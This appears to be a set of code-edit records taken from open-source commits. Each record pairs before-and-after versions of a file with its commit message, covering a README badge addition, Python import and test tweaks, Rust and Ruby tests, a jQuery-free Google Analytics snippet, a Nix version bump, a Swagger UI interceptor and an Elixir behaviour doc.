README.md
linker ====== Create a hard link for files in a specified predefined location (invoked by just passing the file path as argument). In _directory mode_ (can be invoked with --dir DIRECTORY as arguments) it will deduplicate files in .NET packages folder by creating hardlinks for duplicate (based on filename, size and md5) files. [![Build status](https://ci.appveyor.com/api/projects/status/ggyyf34sneg9q2ci?svg=true)](https://ci.appveyor.com/project/SteveHansen/linker) **Samples** linker C:\Downloads\2014\Document.txt Will create a hard link in **C:\\\_New_\Document.txt**. linker --dir C:\Code\ Will check all sub directories starting in **C:\Code\** and deduplicate all files in packages directories. Version history =============== - v1.1 - Made format configurable - Added ability to create hard links for .NET packages folder - v1.0 - Initial version, creates a hard link to \_New_\FileName
linker ====== Create a hard link for files in a specified predefined location (invoked by just passing the file path as argument). In _directory mode_ (can be invoked with --dir DIRECTORY as arguments) it will deduplicate files in .NET packages folder by creating hardlinks for duplicate (based on filename, size and md5) files. [![Build status](https://ci.appveyor.com/api/projects/status/ggyyf34sneg9q2ci?svg=true)](https://ci.appveyor.com/project/SteveHansen/linker) [![FOSSA Status](https://app.fossa.io/api/projects/git%2Bgithub.com%2Fstevehansen%2Flinker.svg?type=shield)](https://app.fossa.io/projects/git%2Bgithub.com%2Fstevehansen%2Flinker?ref=badge_shield) **Samples** linker C:\Downloads\2014\Document.txt Will create a hard link in **C:\\\_New_\Document.txt**. linker --dir C:\Code\ Will check all sub directories starting in **C:\Code\** and deduplicate all files in packages directories. Version history =============== - v1.1 - Made format configurable - Added ability to create hard links for .NET packages folder - v1.0 - Initial version, creates a hard link to \_New_\FileName ## License [![FOSSA Status](https://app.fossa.io/api/projects/git%2Bgithub.com%2Fstevehansen%2Flinker.svg?type=large)](https://app.fossa.io/projects/git%2Bgithub.com%2Fstevehansen%2Flinker?ref=badge_large)
Add license scan report and status
Add license scan report and status
Markdown
mit
stevehansen/linker
markdown
## Code Before: linker ====== Create a hard link for files in a specified predefined location (invoked by just passing the file path as argument). In _directory mode_ (can be invoked with --dir DIRECTORY as arguments) it will deduplicate files in .NET packages folder by creating hardlinks for duplicate (based on filename, size and md5) files. [![Build status](https://ci.appveyor.com/api/projects/status/ggyyf34sneg9q2ci?svg=true)](https://ci.appveyor.com/project/SteveHansen/linker) **Samples** linker C:\Downloads\2014\Document.txt Will create a hard link in **C:\\\_New_\Document.txt**. linker --dir C:\Code\ Will check all sub directories starting in **C:\Code\** and deduplicate all files in packages directories. Version history =============== - v1.1 - Made format configurable - Added ability to create hard links for .NET packages folder - v1.0 - Initial version, creates a hard link to \_New_\FileName ## Instruction: Add license scan report and status ## Code After: linker ====== Create a hard link for files in a specified predefined location (invoked by just passing the file path as argument). In _directory mode_ (can be invoked with --dir DIRECTORY as arguments) it will deduplicate files in .NET packages folder by creating hardlinks for duplicate (based on filename, size and md5) files. [![Build status](https://ci.appveyor.com/api/projects/status/ggyyf34sneg9q2ci?svg=true)](https://ci.appveyor.com/project/SteveHansen/linker) [![FOSSA Status](https://app.fossa.io/api/projects/git%2Bgithub.com%2Fstevehansen%2Flinker.svg?type=shield)](https://app.fossa.io/projects/git%2Bgithub.com%2Fstevehansen%2Flinker?ref=badge_shield) **Samples** linker C:\Downloads\2014\Document.txt Will create a hard link in **C:\\\_New_\Document.txt**. linker --dir C:\Code\ Will check all sub directories starting in **C:\Code\** and deduplicate all files in packages directories. Version history =============== - v1.1 - Made format configurable - Added ability to create hard links for .NET packages folder - v1.0 - Initial version, creates a hard link to \_New_\FileName ## License [![FOSSA Status](https://app.fossa.io/api/projects/git%2Bgithub.com%2Fstevehansen%2Flinker.svg?type=large)](https://app.fossa.io/projects/git%2Bgithub.com%2Fstevehansen%2Flinker?ref=badge_large)
1b179405245bc7d7d6157528bd64e2b399491090
quantecon/optimize/__init__.py
quantecon/optimize/__init__.py
from .scalar_maximization import brent_max from .root_finding import *
from .scalar_maximization import brent_max from .root_finding import newton, newton_halley, newton_secant, bisect, brentq
Fix import to list items
Fix import to list items
Python
bsd-3-clause
oyamad/QuantEcon.py,QuantEcon/QuantEcon.py,oyamad/QuantEcon.py,QuantEcon/QuantEcon.py
python
## Code Before: from .scalar_maximization import brent_max from .root_finding import * ## Instruction: Fix import to list items ## Code After: from .scalar_maximization import brent_max from .root_finding import newton, newton_halley, newton_secant, bisect, brentq
b799710f51363e89291ba81e925c1c217036e1c1
tests/src/legacy_sizing.rs
tests/src/legacy_sizing.rs
use cairo; use librsvg::{rsvg_convert_only::LegacySize, CairoRenderer}; use crate::utils::load_svg; #[test] fn just_viewbox_uses_viewbox_size() { let svg = load_svg( br#"<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 200"/> "#, ) .unwrap(); assert_eq!( CairoRenderer::new(&svg).legacy_layer_geometry(None).unwrap(), (cairo::Rectangle { x: 0.0, y: 0.0, width: 100.0, height: 200.0, }, cairo::Rectangle { x: 0.0, y: 0.0, width: 100.0, height: 200.0, }) ); }
use cairo; use librsvg::{rsvg_convert_only::LegacySize, CairoRenderer}; use crate::utils::load_svg; #[test] fn just_viewbox_uses_viewbox_size() { let svg = load_svg( br#"<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 200"/> "#, ) .unwrap(); assert_eq!( CairoRenderer::new(&svg).legacy_layer_geometry(None).unwrap(), (cairo::Rectangle { x: 0.0, y: 0.0, width: 100.0, height: 200.0, }, cairo::Rectangle { x: 0.0, y: 0.0, width: 100.0, height: 200.0, }) ); } #[test] fn no_intrinsic_size_uses_element_geometries() { let svg = load_svg( br#"<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="20" width="30" height="40" fill="black"/> </svg> "#, ) .unwrap(); assert_eq!( CairoRenderer::new(&svg).legacy_layer_geometry(None).unwrap(), (cairo::Rectangle { x: 10.0, y: 20.0, width: 30.0, height: 40.0, }, cairo::Rectangle { x: 10.0, y: 20.0, width: 30.0, height: 40.0, }) ); }
Test for no intrinsic size at all
Test for no intrinsic size at all Part-of: <https://gitlab.gnome.org/GNOME/librsvg/-/merge_requests/595>
Rust
lgpl-2.1
GNOME/librsvg,GNOME/librsvg,GNOME/librsvg,GNOME/librsvg
rust
## Code Before: use cairo; use librsvg::{rsvg_convert_only::LegacySize, CairoRenderer}; use crate::utils::load_svg; #[test] fn just_viewbox_uses_viewbox_size() { let svg = load_svg( br#"<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 200"/> "#, ) .unwrap(); assert_eq!( CairoRenderer::new(&svg).legacy_layer_geometry(None).unwrap(), (cairo::Rectangle { x: 0.0, y: 0.0, width: 100.0, height: 200.0, }, cairo::Rectangle { x: 0.0, y: 0.0, width: 100.0, height: 200.0, }) ); } ## Instruction: Test for no intrinsic size at all Part-of: <https://gitlab.gnome.org/GNOME/librsvg/-/merge_requests/595> ## Code After: use cairo; use librsvg::{rsvg_convert_only::LegacySize, CairoRenderer}; use crate::utils::load_svg; #[test] fn just_viewbox_uses_viewbox_size() { let svg = load_svg( br#"<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 200"/> "#, ) .unwrap(); assert_eq!( CairoRenderer::new(&svg).legacy_layer_geometry(None).unwrap(), (cairo::Rectangle { x: 0.0, y: 0.0, width: 100.0, height: 200.0, }, cairo::Rectangle { x: 0.0, y: 0.0, width: 100.0, height: 200.0, }) ); } #[test] fn no_intrinsic_size_uses_element_geometries() { let svg = load_svg( br#"<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="20" width="30" height="40" fill="black"/> </svg> "#, ) .unwrap(); assert_eq!( CairoRenderer::new(&svg).legacy_layer_geometry(None).unwrap(), (cairo::Rectangle { x: 10.0, y: 20.0, width: 30.0, height: 40.0, }, cairo::Rectangle { x: 10.0, y: 20.0, width: 30.0, height: 40.0, }) ); }
06dd6fb991a9f68eea99d5943498688daa0b09c2
tests/test_interaction.py
tests/test_interaction.py
import numpy.testing as npt import pandas as pd import pandas.util.testing as pdt import pytest from .. import interaction as inter @pytest.fixture def choosers(): return pd.DataFrame( {'var1': range(5, 10), 'thing_id': ['a', 'c', 'e', 'g', 'i']}) @pytest.fixture def alternatives(): return pd.DataFrame( {'var2': range(10, 20), 'var3': range(20, 30)}, index=pd.Index([x for x in 'abcdefghij'], name='thing_id')) def test_interaction_dataset_sim(choosers, alternatives): sample, merged, chosen = inter.mnl_interaction_dataset( choosers, alternatives, len(alternatives)) # chosen should be len(choosers) rows * len(alternatives) cols assert chosen.shape == (len(choosers), len(alternatives)) assert chosen[:, 0].sum() == len(choosers) assert chosen[:, 1:].sum() == 0 npt.assert_array_equal( sample, list(alternatives.index.values) * len(choosers)) assert len(merged) == len(choosers) * len(alternatives) npt.assert_array_equal(merged.index.values, sample) assert list(merged.columns) == [ 'var2', 'var3', 'join_index', 'thing_id', 'var1']
import numpy.testing as npt import pandas as pd import pandas.util.testing as pdt import pytest from .. import interaction as inter @pytest.fixture def choosers(): return pd.DataFrame( {'var1': range(5, 10), 'thing_id': ['a', 'c', 'e', 'g', 'i']}) @pytest.fixture def alternatives(): return pd.DataFrame( {'var2': range(10, 20), 'var3': range(20, 30)}, index=pd.Index([x for x in 'abcdefghij'], name='thing_id')) def test_interaction_dataset_sim(choosers, alternatives): sample, merged, chosen = inter.mnl_interaction_dataset( choosers, alternatives, len(alternatives)) # chosen should be len(choosers) rows * len(alternatives) cols assert chosen.shape == (len(choosers), len(alternatives)) assert chosen[:, 0].sum() == len(choosers) assert chosen[:, 1:].sum() == 0 npt.assert_array_equal( sample, list(alternatives.index.values) * len(choosers)) assert len(merged) == len(choosers) * len(alternatives) npt.assert_array_equal(merged.index.values, sample) assert list(merged.columns) == [ 'var2', 'var3', 'join_index', 'thing_id', 'var1'] assert merged['join_index'].isin(choosers.index).all()
Return DCM probabilities as MultiIndexed Series
Return DCM probabilities as MultiIndexed Series Instead of separately returning probabilities and alternatives information this groups them all together. The probabilities have a MultiIndex with chooser IDs on the outside and alternative IDs on the inside.
Python
bsd-3-clause
UDST/choicemodels,UDST/choicemodels
python
## Code Before: import numpy.testing as npt import pandas as pd import pandas.util.testing as pdt import pytest from .. import interaction as inter @pytest.fixture def choosers(): return pd.DataFrame( {'var1': range(5, 10), 'thing_id': ['a', 'c', 'e', 'g', 'i']}) @pytest.fixture def alternatives(): return pd.DataFrame( {'var2': range(10, 20), 'var3': range(20, 30)}, index=pd.Index([x for x in 'abcdefghij'], name='thing_id')) def test_interaction_dataset_sim(choosers, alternatives): sample, merged, chosen = inter.mnl_interaction_dataset( choosers, alternatives, len(alternatives)) # chosen should be len(choosers) rows * len(alternatives) cols assert chosen.shape == (len(choosers), len(alternatives)) assert chosen[:, 0].sum() == len(choosers) assert chosen[:, 1:].sum() == 0 npt.assert_array_equal( sample, list(alternatives.index.values) * len(choosers)) assert len(merged) == len(choosers) * len(alternatives) npt.assert_array_equal(merged.index.values, sample) assert list(merged.columns) == [ 'var2', 'var3', 'join_index', 'thing_id', 'var1'] ## Instruction: Return DCM probabilities as MultiIndexed Series Instead of separately returning probabilities and alternatives information this groups them all together. The probabilities have a MultiIndex with chooser IDs on the outside and alternative IDs on the inside. ## Code After: import numpy.testing as npt import pandas as pd import pandas.util.testing as pdt import pytest from .. import interaction as inter @pytest.fixture def choosers(): return pd.DataFrame( {'var1': range(5, 10), 'thing_id': ['a', 'c', 'e', 'g', 'i']}) @pytest.fixture def alternatives(): return pd.DataFrame( {'var2': range(10, 20), 'var3': range(20, 30)}, index=pd.Index([x for x in 'abcdefghij'], name='thing_id')) def test_interaction_dataset_sim(choosers, alternatives): sample, merged, chosen = inter.mnl_interaction_dataset( choosers, alternatives, len(alternatives)) # chosen should be len(choosers) rows * len(alternatives) cols assert chosen.shape == (len(choosers), len(alternatives)) assert chosen[:, 0].sum() == len(choosers) assert chosen[:, 1:].sum() == 0 npt.assert_array_equal( sample, list(alternatives.index.values) * len(choosers)) assert len(merged) == len(choosers) * len(alternatives) npt.assert_array_equal(merged.index.values, sample) assert list(merged.columns) == [ 'var2', 'var3', 'join_index', 'thing_id', 'var1'] assert merged['join_index'].isin(choosers.index).all()
5efd63506749840901cdcb145f05892499e39d6b
_includes/google_analytics.html
_includes/google_analytics.html
<script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', '{{ site.google_analytics }}', 'auto'); ga('send', 'pageview'); $(document).ready(function(){ $(".social-share-element").click(function() { ga('send', 'event', $(this).attr("social-network"), $(this).attr("social-action"), $(this).attr("social-target")); }); $(".about-body-link").click(function() { ga('send', 'event', $(this).attr("link"), "click"); }); }); </script>
<script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', '{{ site.google_analytics }}', 'auto'); ga('send', 'pageview'); onload = function(e){ // add events for sharing elements = document.getElementsByClassName("social-share-element") Array.prototype.forEach.call(elements, function(x) { x.addEventListener("click", function(){ ga('send', 'event', x.getAttribute("social-network"), x.getAttribute("social-action"), x.getAttribute("social-target")); }); }); // add events for 'about me' clicks elements = document.getElementsByClassName("about-body-link") Array.prototype.forEach.call(elements, function(x) { x.addEventListener("click", function(){ ga('send', 'event', x.getAttribute("link"), "click"); }); }); } </script>
Update to not use jQuery
Update to not use jQuery
HTML
mit
donaldrauscher/blog
html
## Code Before: <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', '{{ site.google_analytics }}', 'auto'); ga('send', 'pageview'); $(document).ready(function(){ $(".social-share-element").click(function() { ga('send', 'event', $(this).attr("social-network"), $(this).attr("social-action"), $(this).attr("social-target")); }); $(".about-body-link").click(function() { ga('send', 'event', $(this).attr("link"), "click"); }); }); </script> ## Instruction: Update to not use jQuery ## Code After: <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', '{{ site.google_analytics }}', 'auto'); ga('send', 'pageview'); onload = function(e){ // add events for sharing elements = document.getElementsByClassName("social-share-element") Array.prototype.forEach.call(elements, function(x) { x.addEventListener("click", function(){ ga('send', 'event', x.getAttribute("social-network"), x.getAttribute("social-action"), x.getAttribute("social-target")); }); }); // add events for 'about me' clicks elements = document.getElementsByClassName("about-body-link") Array.prototype.forEach.call(elements, function(x) { x.addEventListener("click", function(){ ga('send', 'event', x.getAttribute("link"), "click"); }); }); } </script>
5c9157b3294d7c6cda6c32152b254650daa116cf
pkgs/tools/misc/riemann-c-client/default.nix
pkgs/tools/misc/riemann-c-client/default.nix
{ stdenv, fetchurl, autoconf, automake, libtool, pkgconfig, file, protobufc }: stdenv.mkDerivation rec { name = "riemann-c-client-${version}"; version = "1.2.0"; src = fetchurl { url = "https://github.com/algernon/riemann-c-client/archive/${name}.tar.gz"; sha256 = "1w3rx0hva605d5vzlhhm4pb43ady0m3s4mz8ix1ycn4b8cq9jsjs"; }; buildInputs = [ autoconf automake libtool pkgconfig file protobufc ]; preConfigure = "autoreconf -i"; meta = with stdenv.lib; { homepage = "https://github.com/algernon/riemann-c-client"; description = "A C client library for the Riemann monitoring system"; license = licenses.gpl3; maintainers = [ maintainers.rickynils ]; platforms = platforms.linux; }; }
{ stdenv, fetchurl, autoconf, automake, libtool, pkgconfig, file, protobufc }: stdenv.mkDerivation rec { name = "riemann-c-client-${version}"; version = "1.2.1"; src = fetchurl { url = "https://github.com/algernon/riemann-c-client/archive/${name}.tar.gz"; sha256 = "132yd1m523inmv17sd48xf7xdqb7jj36v7is1xw7w9nny6qxkzwm"; }; buildInputs = [ autoconf automake libtool pkgconfig file protobufc ]; preConfigure = "autoreconf -i"; meta = with stdenv.lib; { homepage = "https://github.com/algernon/riemann-c-client"; description = "A C client library for the Riemann monitoring system"; license = licenses.gpl3; maintainers = [ maintainers.rickynils ]; platforms = platforms.linux; }; }
Update from 1.2.0 to 1.2.1
riemann-c-client: Update from 1.2.0 to 1.2.1
Nix
mit
NixOS/nixpkgs,triton/triton,SymbiFlow/nixpkgs,SymbiFlow/nixpkgs,NixOS/nixpkgs,triton/triton,SymbiFlow/nixpkgs,SymbiFlow/nixpkgs,NixOS/nixpkgs,NixOS/nixpkgs,SymbiFlow/nixpkgs,NixOS/nixpkgs,triton/triton,triton/triton,triton/triton,NixOS/nixpkgs,SymbiFlow/nixpkgs,triton/triton,NixOS/nixpkgs,NixOS/nixpkgs,triton/triton,NixOS/nixpkgs,NixOS/nixpkgs,NixOS/nixpkgs,SymbiFlow/nixpkgs,NixOS/nixpkgs,NixOS/nixpkgs,SymbiFlow/nixpkgs,SymbiFlow/nixpkgs,triton/triton,NixOS/nixpkgs,SymbiFlow/nixpkgs,SymbiFlow/nixpkgs,SymbiFlow/nixpkgs,NixOS/nixpkgs,SymbiFlow/nixpkgs
nix
## Code Before: { stdenv, fetchurl, autoconf, automake, libtool, pkgconfig, file, protobufc }: stdenv.mkDerivation rec { name = "riemann-c-client-${version}"; version = "1.2.0"; src = fetchurl { url = "https://github.com/algernon/riemann-c-client/archive/${name}.tar.gz"; sha256 = "1w3rx0hva605d5vzlhhm4pb43ady0m3s4mz8ix1ycn4b8cq9jsjs"; }; buildInputs = [ autoconf automake libtool pkgconfig file protobufc ]; preConfigure = "autoreconf -i"; meta = with stdenv.lib; { homepage = "https://github.com/algernon/riemann-c-client"; description = "A C client library for the Riemann monitoring system"; license = licenses.gpl3; maintainers = [ maintainers.rickynils ]; platforms = platforms.linux; }; } ## Instruction: riemann-c-client: Update from 1.2.0 to 1.2.1 ## Code After: { stdenv, fetchurl, autoconf, automake, libtool, pkgconfig, file, protobufc }: stdenv.mkDerivation rec { name = "riemann-c-client-${version}"; version = "1.2.1"; src = fetchurl { url = "https://github.com/algernon/riemann-c-client/archive/${name}.tar.gz"; sha256 = "132yd1m523inmv17sd48xf7xdqb7jj36v7is1xw7w9nny6qxkzwm"; }; buildInputs = [ autoconf automake libtool pkgconfig file protobufc ]; preConfigure = "autoreconf -i"; meta = with stdenv.lib; { homepage = "https://github.com/algernon/riemann-c-client"; description = "A C client library for the Riemann monitoring system"; license = licenses.gpl3; maintainers = [ maintainers.rickynils ]; platforms = platforms.linux; }; }
239fc296a53bafce25ce0050dac4055fa27d3e73
features/apimgt/org.wso2.carbon.apimgt.store.feature/src/main/resources/devportal/source/src/app/components/Apis/Details/ApiConsole/SwaggerUI.jsx
features/apimgt/org.wso2.carbon.apimgt.store.feature/src/main/resources/devportal/source/src/app/components/Apis/Details/ApiConsole/SwaggerUI.jsx
import React from 'react'; import PropTypes from 'prop-types'; import 'swagger-ui/dist/swagger-ui.css'; import SwaggerUILib from './PatchedSwaggerUIReact'; const disableAuthorizeAndInfoPlugin = function () { return { wrapComponents: { info: () => () => null, }, }; }; /** * * @class SwaggerUI * @extends {Component} */ const SwaggerUI = (props) => { const { spec, accessTokenProvider, authorizationHeader, api } = props; const componentProps = { spec, validatorUrl: null, docExpansion: 'list', defaultModelsExpandDepth: 0, requestInterceptor: (req) => { const { url } = req; const patternToCheck = api.context + '/*'; req.headers[authorizationHeader] = 'Bearer ' + accessTokenProvider(); if (url.endsWith(patternToCheck)) { req.url = url.substring(0, url.length - 2); } else if (url.includes('/*?')) { const splitTokens = url.split('/*?'); req.url = splitTokens.length > 1 ? splitTokens[0] + '?' + splitTokens[1] : splitTokens[0]; } return req; }, presets: [disableAuthorizeAndInfoPlugin], plugins: null, }; return <SwaggerUILib {...componentProps} />; }; SwaggerUI.propTypes = { spec: PropTypes.shape({}).isRequired, }; export default SwaggerUI;
import React from 'react'; import PropTypes from 'prop-types'; import 'swagger-ui/dist/swagger-ui.css'; import SwaggerUILib from './PatchedSwaggerUIReact'; const disableAuthorizeAndInfoPlugin = function () { return { wrapComponents: { info: () => () => null, }, }; }; /** * * @class SwaggerUI * @extends {Component} */ const SwaggerUI = (props) => { const { spec, accessTokenProvider, authorizationHeader, api } = props; const componentProps = { spec, validatorUrl: null, docExpansion: 'list', defaultModelsExpandDepth: 0, requestInterceptor: (req) => { const { url } = req; const patternToCheck = api.context + '/*'; req.headers[authorizationHeader] = 'Bearer ' + accessTokenProvider(); if (url.endsWith(patternToCheck)) { req.url = url.substring(0, url.length - 2); } else if (url.includes(patternToCheck + '?')) { // Check for query parameters. const splitTokens = url.split('/*?'); req.url = splitTokens.length > 1 ? splitTokens[0] + '?' + splitTokens[1] : splitTokens[0]; } return req; }, presets: [disableAuthorizeAndInfoPlugin], plugins: null, }; return <SwaggerUILib {...componentProps} />; }; SwaggerUI.propTypes = { spec: PropTypes.shape({}).isRequired, }; export default SwaggerUI;
Change query params in swagger console
Change query params in swagger console
JSX
apache-2.0
uvindra/carbon-apimgt,bhathiya/carbon-apimgt,harsha89/carbon-apimgt,chamindias/carbon-apimgt,praminda/carbon-apimgt,nuwand/carbon-apimgt,fazlan-nazeem/carbon-apimgt,nuwand/carbon-apimgt,praminda/carbon-apimgt,harsha89/carbon-apimgt,chamilaadhi/carbon-apimgt,isharac/carbon-apimgt,jaadds/carbon-apimgt,praminda/carbon-apimgt,tharikaGitHub/carbon-apimgt,nuwand/carbon-apimgt,jaadds/carbon-apimgt,harsha89/carbon-apimgt,malinthaprasan/carbon-apimgt,sanjeewa-malalgoda/carbon-apimgt,Rajith90/carbon-apimgt,tharindu1st/carbon-apimgt,Rajith90/carbon-apimgt,tharindu1st/carbon-apimgt,bhathiya/carbon-apimgt,prasa7/carbon-apimgt,bhathiya/carbon-apimgt,bhathiya/carbon-apimgt,prasa7/carbon-apimgt,ruks/carbon-apimgt,jaadds/carbon-apimgt,harsha89/carbon-apimgt,prasa7/carbon-apimgt,tharindu1st/carbon-apimgt,chamilaadhi/carbon-apimgt,chamindias/carbon-apimgt,sanjeewa-malalgoda/carbon-apimgt,ruks/carbon-apimgt,tharikaGitHub/carbon-apimgt,wso2/carbon-apimgt,fazlan-nazeem/carbon-apimgt,uvindra/carbon-apimgt,wso2/carbon-apimgt,uvindra/carbon-apimgt,isharac/carbon-apimgt,prasa7/carbon-apimgt,isharac/carbon-apimgt,chamilaadhi/carbon-apimgt,sanjeewa-malalgoda/carbon-apimgt,fazlan-nazeem/carbon-apimgt,jaadds/carbon-apimgt,sanjeewa-malalgoda/carbon-apimgt,nuwand/carbon-apimgt,malinthaprasan/carbon-apimgt,wso2/carbon-apimgt,malinthaprasan/carbon-apimgt,chamindias/carbon-apimgt,uvindra/carbon-apimgt,ruks/carbon-apimgt,malinthaprasan/carbon-apimgt,Rajith90/carbon-apimgt,fazlan-nazeem/carbon-apimgt,tharikaGitHub/carbon-apimgt,wso2/carbon-apimgt,chamilaadhi/carbon-apimgt,tharindu1st/carbon-apimgt,ruks/carbon-apimgt,tharikaGitHub/carbon-apimgt,chamindias/carbon-apimgt,Rajith90/carbon-apimgt,isharac/carbon-apimgt
jsx
## Code Before: import React from 'react'; import PropTypes from 'prop-types'; import 'swagger-ui/dist/swagger-ui.css'; import SwaggerUILib from './PatchedSwaggerUIReact'; const disableAuthorizeAndInfoPlugin = function () { return { wrapComponents: { info: () => () => null, }, }; }; /** * * @class SwaggerUI * @extends {Component} */ const SwaggerUI = (props) => { const { spec, accessTokenProvider, authorizationHeader, api } = props; const componentProps = { spec, validatorUrl: null, docExpansion: 'list', defaultModelsExpandDepth: 0, requestInterceptor: (req) => { const { url } = req; const patternToCheck = api.context + '/*'; req.headers[authorizationHeader] = 'Bearer ' + accessTokenProvider(); if (url.endsWith(patternToCheck)) { req.url = url.substring(0, url.length - 2); } else if (url.includes('/*?')) { const splitTokens = url.split('/*?'); req.url = splitTokens.length > 1 ? splitTokens[0] + '?' + splitTokens[1] : splitTokens[0]; } return req; }, presets: [disableAuthorizeAndInfoPlugin], plugins: null, }; return <SwaggerUILib {...componentProps} />; }; SwaggerUI.propTypes = { spec: PropTypes.shape({}).isRequired, }; export default SwaggerUI; ## Instruction: Change query params in swagger console ## Code After: import React from 'react'; import PropTypes from 'prop-types'; import 'swagger-ui/dist/swagger-ui.css'; import SwaggerUILib from './PatchedSwaggerUIReact'; const disableAuthorizeAndInfoPlugin = function () { return { wrapComponents: { info: () => () => null, }, }; }; /** * * @class SwaggerUI * @extends {Component} */ const SwaggerUI = (props) => { const { spec, accessTokenProvider, authorizationHeader, api } = props; const componentProps = { spec, validatorUrl: null, docExpansion: 'list', defaultModelsExpandDepth: 0, requestInterceptor: (req) => { const { url } = req; const patternToCheck = api.context + '/*'; req.headers[authorizationHeader] = 'Bearer ' + accessTokenProvider(); if (url.endsWith(patternToCheck)) { req.url = url.substring(0, url.length - 2); } else if (url.includes(patternToCheck + '?')) { // Check for query parameters. const splitTokens = url.split('/*?'); req.url = splitTokens.length > 1 ? splitTokens[0] + '?' + splitTokens[1] : splitTokens[0]; } return req; }, presets: [disableAuthorizeAndInfoPlugin], plugins: null, }; return <SwaggerUILib {...componentProps} />; }; SwaggerUI.propTypes = { spec: PropTypes.shape({}).isRequired, }; export default SwaggerUI;
45b576ef508d2614e45039eb7bbad155ecfab844
lib/xandra/authenticator.ex
lib/xandra/authenticator.ex
defmodule Xandra.Authenticator do @moduledoc """ A behaviour module for implementing a Cassandra authenticator. ## Examples defmodule MyAuthenticator do @behaviour Xandra.Authenticator def response_body(options) do ["user:", Keyword.fetch!(options, :user), "_password:", Keyword.fetch!(options, :password)] end end To use the authenticator defined above: Xandra.start_link(authentication: {MyAuthenticator, user: "foo", password: "bar"}) Xandra supports Cassandra's PasswordAuthenticator by default, see `Xandra.Authenticator.Password` for more information. """ @doc """ Returns an iodata that's used as the response body to Cassandra's auth challenge. """ @callback response_body(Keyword.t) :: iodata end
defmodule Xandra.Authenticator do @moduledoc """ A behaviour module for implementing a Cassandra authenticator. ## Examples defmodule MyAuthenticator do @behaviour Xandra.Authenticator def response_body(options) do ["user:", Keyword.fetch!(options, :user), "_password:", Keyword.fetch!(options, :password)] end end To use the authenticator defined above: Xandra.start_link(authentication: {MyAuthenticator, user: "foo", password: "bar"}) Xandra supports Cassandra's PasswordAuthenticator by default, see `Xandra.Authenticator.Password` for more information. """ @doc """ Returns an iodata that's used as the response body to Cassandra's auth challenge. """ @callback response_body(options :: Keyword.t) :: iodata end
Improve argument name in Xandra.Authenticator.response_body/1
Improve argument name in Xandra.Authenticator.response_body/1
Elixir
isc
lexhide/xandra
elixir
## Code Before: defmodule Xandra.Authenticator do @moduledoc """ A behaviour module for implementing a Cassandra authenticator. ## Examples defmodule MyAuthenticator do @behaviour Xandra.Authenticator def response_body(options) do ["user:", Keyword.fetch!(options, :user), "_password:", Keyword.fetch!(options, :password)] end end To use the authenticator defined above: Xandra.start_link(authentication: {MyAuthenticator, user: "foo", password: "bar"}) Xandra supports Cassandra's PasswordAuthenticator by default, see `Xandra.Authenticator.Password` for more information. """ @doc """ Returns an iodata that's used as the response body to Cassandra's auth challenge. """ @callback response_body(Keyword.t) :: iodata end ## Instruction: Improve argument name in Xandra.Authenticator.response_body/1 ## Code After: defmodule Xandra.Authenticator do @moduledoc """ A behaviour module for implementing a Cassandra authenticator. ## Examples defmodule MyAuthenticator do @behaviour Xandra.Authenticator def response_body(options) do ["user:", Keyword.fetch!(options, :user), "_password:", Keyword.fetch!(options, :password)] end end To use the authenticator defined above: Xandra.start_link(authentication: {MyAuthenticator, user: "foo", password: "bar"}) Xandra supports Cassandra's PasswordAuthenticator by default, see `Xandra.Authenticator.Password` for more information. """ @doc """ Returns an iodata that's used as the response body to Cassandra's auth challenge. """ @callback response_body(options :: Keyword.t) :: iodata end
16440e738ba884942e99d0de6e07513dd7883233
spec/celluloid/pool_spec.rb
spec/celluloid/pool_spec.rb
require 'spec_helper' describe "Celluloid.pool" do before do class ExampleError < StandardError; end class MyWorker include Celluloid def process(queue = nil) if queue queue << :done else :done end end def crash raise ExampleError, "zomgcrash" end end end subject { MyWorker.pool } it "processes work units synchronously" do subject.process.should == :done end it "processes work units asynchronously" do queue = Queue.new subject.process!(queue) queue.pop.should == :done end it "handles crashes", :pending => (RUBY_ENGINE == 'rbx') do expect { subject.crash }.to raise_error(ExampleError) subject.process.should == :done end it "uses a fixed-sized number of threads" do # Eagerly evaluate subject to spawn the pool subject thread_count = Thread.list.size 100.times.map { subject.future(:process) }.map(&:value) Thread.list.size.should == thread_count end end
